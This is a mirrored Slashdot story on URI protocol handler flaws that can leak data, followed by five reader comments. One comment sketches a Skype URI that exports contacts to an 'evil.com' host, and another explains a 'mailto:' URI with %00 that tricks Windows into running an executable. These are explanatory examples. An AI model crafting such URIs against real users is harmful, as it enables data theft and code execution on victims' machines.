Slashdot Mirror


New URI Browser Flaws Worse Than First Thought

narramissic writes "URI (Uniform Resource Identifier) bugs have become a hot topic over the past month, since researcher Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox. Now, security researchers Billy Rios and Nathan McFeters say they've discovered a number of ways attackers could misuse the URI protocol handler technology to steal data from a victim's computer. 'It is possible through the URI to actually steal content form the user's machine and upload that content to a remote server of the attacker's choice,' said McFetters, a senior security advisor for Ernst & Young Global Ltd. 'This is all through functionality that the application provides.'"

5 of 149 comments (clear)

  1. Re:Web 2.0 developers have betrayed us all by Phroggy · · Score: 5, Insightful

    And this is the end result of their hubris.

    AJAX is a hack sat on top of a 15 year legacy of hacks, and ultimately serves no purpose other than giving the 'delicious generation' something to drool at. I know I shouldn't feed the trolls, but... you're a fool. This has nothing to do with AJAX or Web 2.0, this has to do with exploiting security holes that have probably been around for over a decade. But more than that: yes, AJAX is useful. When used properly, it can allow you to build a web site that is more powerful and easy-to-use than anything you could do without AJAX. Slashdot's new AJAX-based comment system is definitely an improvement, for example.
    --
    $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
    $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  2. Responsible application launching by JosefAssad · · Score: 5, Interesting
    Some of the discussion around this issue revolves around URI validation. Given that third parties can assign their own handlers, I don't think it's the browser's job to validate URIs, but it can provide the facilities to do so.

    It would probably just be simpler to disable this functionality by default; I suspect not many people are really using their browser to launch other applications or do much beyond straightforward browsing (you konqueror people are something completely different!), or at least not to any meaningful extent. Where they are, some form of URI whitelist could do the job.

    I don't think browsers are going to stop being capable of launching applications overnight; I fully acknowledge that a lot of enterprise systems rely on this. But it can certainly be done more responsibly.

  3. Re:News? by ozmanjusri · · Score: 5, Funny
    Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: www.microsoft.com.

    Thanks dude!

    I installed that update to XP, and now my computer runs like a dream. Microsoft finally got it right!

    --
    "I've got more toys than Teruhisa Kitahara."
  4. Re:What is the OS coverage? by IBBoard · · Score: 5, Interesting

    Only it's not that the application may have a bug, but that it may have an intentional feature that is useful for users that can then be exploited through a link. It might have less security than it should, but that's poor planning and not a bug.

    Take someone's earlier example of Skype. Lets assume you can do "skype --export-contacts --dest /some/path/here". Nice and useful for when you're migrating settings on your own desktop. Now assume that Skype also lets you export to your website so that you can publish it to your site, so you can put a HTTP in there. Now assume that users have complained about popups prompting them and that they want a batch mode that lets them export each night to make sure they never lose data - so it doesn't prompt.

    You'd now have something like "skype --export-contacts --dest http://www.example.com/mybackupscript --batch-mode". It does exactly what you want, you can archive your contacts, and you can event do it overnight to a remote location so it's accessible to you from anywhere and won't be lost in a disk crash. Only someone didn't secure it very well (again, bad implementation, not a bug) and someone somehow gets you to click on a link saying "skype:export-contacts&dest=http://www.evil.com/my backupscript&batch-mode". That 'feature' is now being exploited to export your contacts to an arbitrary site without you even necessarily knowing.

    I'm sure there are lots of other similar alternatives, but the whole point is that it's badly validated input and not a bug. It's fairly sensible to have "skype:call-userid" as a link so that you can run up Skype and call someone. What it's not sensible to do is let that URI call do anything that can be done locally.

  5. Re:Oh my by Intron · · Score: 5, Informative

    mozilla bug 389580

    "On Windows XP some urls for "web" protocols that contain %00 launch the wrong
    handler and appear to be able to launch local programs, with limited argument
    passing. It is not yet clear that this can be used to compromise a machine but
    we can always fear the worst.

    The same behavior is observed using "Run" from the Windows Start menu for the
    affected protocols (http, https, ftp, gopher, telnet, mailto, news, snews,
    nttp, possibly others?).

    The behavior seems to be that if there's a %00 in the URL for these schemes
    then the URL Protocol handler is not called, instead the FileType handler is
    called based on the extension of the full url. The url is then passed to that
    File handler. For "non-web" URL handlers the URL is passed to the expected
    handler.

    In Firefox browser protocols are handled internally so are not vulnerable, but
    the mailnews protocols are handed off to the OS and can be abused in this way."

    ====
    So you can construct a uri like: "mailto:/...%00...something.exe"
    Firefox sees mailto and hands it to Windows to give it to the mail program
    Windows sees %00 and mistakenly hands it to the FileType handler.
    The FileType handler sees ".exe" and runs the program.

    --
    Intron: the portion of DNA which expresses nothing useful.